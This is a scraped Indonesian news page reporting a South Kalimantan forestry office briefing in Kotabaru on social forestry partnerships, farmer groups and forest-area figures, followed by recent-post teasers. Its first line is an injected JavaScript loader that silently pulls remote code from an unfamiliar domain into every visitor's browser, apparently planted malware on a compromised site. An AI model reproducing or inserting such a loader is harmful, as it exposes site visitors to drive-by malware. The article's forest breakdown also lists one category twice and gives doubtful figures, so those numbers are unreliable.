(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Warga Kotabaru Didorong Kelola Perhutanan Sosial


BANJARBARU, Dinas kehutanan Provinsi Kalimantan Selatan menyosialisasikan lahan masuk dalam kawasan hutan lindung dan kawasan hutan produksi, kepada kepala desa  di Kabupaten Kotabaru.

Kepala Bidang Pemberdayaan Masyarakat, Penyuluhan dan Perhutanan Sosial Dinas Kehutanan Provinsi Kalimantan Selatan, I Gede Arya Subhakti, mengatakan masyarakat tidak bisa secara mandiri memfungsikan lokasi kawasan hutan lindung dan kawasan hutan produksi. Menurut dia, Pemprov Kalsel dan Pemkab Kotabaru akan mengelola lahan kawasan hutan bersama masyarakat desa lewat jalur kemitraan.

Gede Arya berkata petani mesti lebih dulu membentuk Kelompok Tani Hutan (KTH) karena salah satu syarat menggarap lahan kemitraan.

“Lahan kawasan hutan tersebut hanya diberi hak mengelola saja oleh pemerintah, bukan untuk dimiliki masyarakat,” ucap Gede Arya Subhakti ketika sosialisasi di kantor Kecamataan Kelumpang Hulu, Kabupaten Kotabaru, Rabu (18/7).

Menurut Gede, warga lokal akan menerima 2 hektare setiap kepala keluarga yang tinggal di kawasan hutan. Mengutip data Dinas Kehutanan Kalimantan Selatan, luas kawasan hutan Kalsel mencapai 1.779.982 hektare (47,43 persen) dari luas administrasi Kalsel 3.700.406 hektare.

Luas kawasan hutan itu terdiri atas hutan konservasi 213.000 hektare, hutan lindung 526.000 hektare, hutan produksi terbatas seluas 127.000 hektare, hutan produksi tetap 762 hektare, dan hutan konservasi 151.000 hektare. Gede Arya berujar perhutanan sosial bertujuan menekan lahan kritis dan mensejahterakan warga lokal lewat bercocok tanam dan pemanfaatan kayu.

Kepala Kantor Pengelolaan Hutan (KPH) Desa Cantung, Kecamatan Kelumpang Hulu, Beny Raharjo, menuturkan sosialisasi perhutanan sosial turut mengundang perwakilan 9 kecamatan dari 12 kecamatan di Kabupaten Kotabaru. Adapun tiga kecamatan lain tidak diundang karena hanya memiliki kawasan hutan cagar alam yang merupakan kewenangan BKSDA.

Beny menambahkan luas keseluruhan lahan hutan kritis yang ada di Kalsel berjumlah 640.709 hektare, yang masuk dalam kawasan hutan seluas 398.302 hektare. KPH Cantung turut meneken nota kesepahaman dengan kantor Kecamatan Kelumpang Hulu dalam rangka Revolusi Lahan Hijau.(rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

30 menit ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

3 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

3 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

15 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

17 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

22 jam ago

This website uses cookies.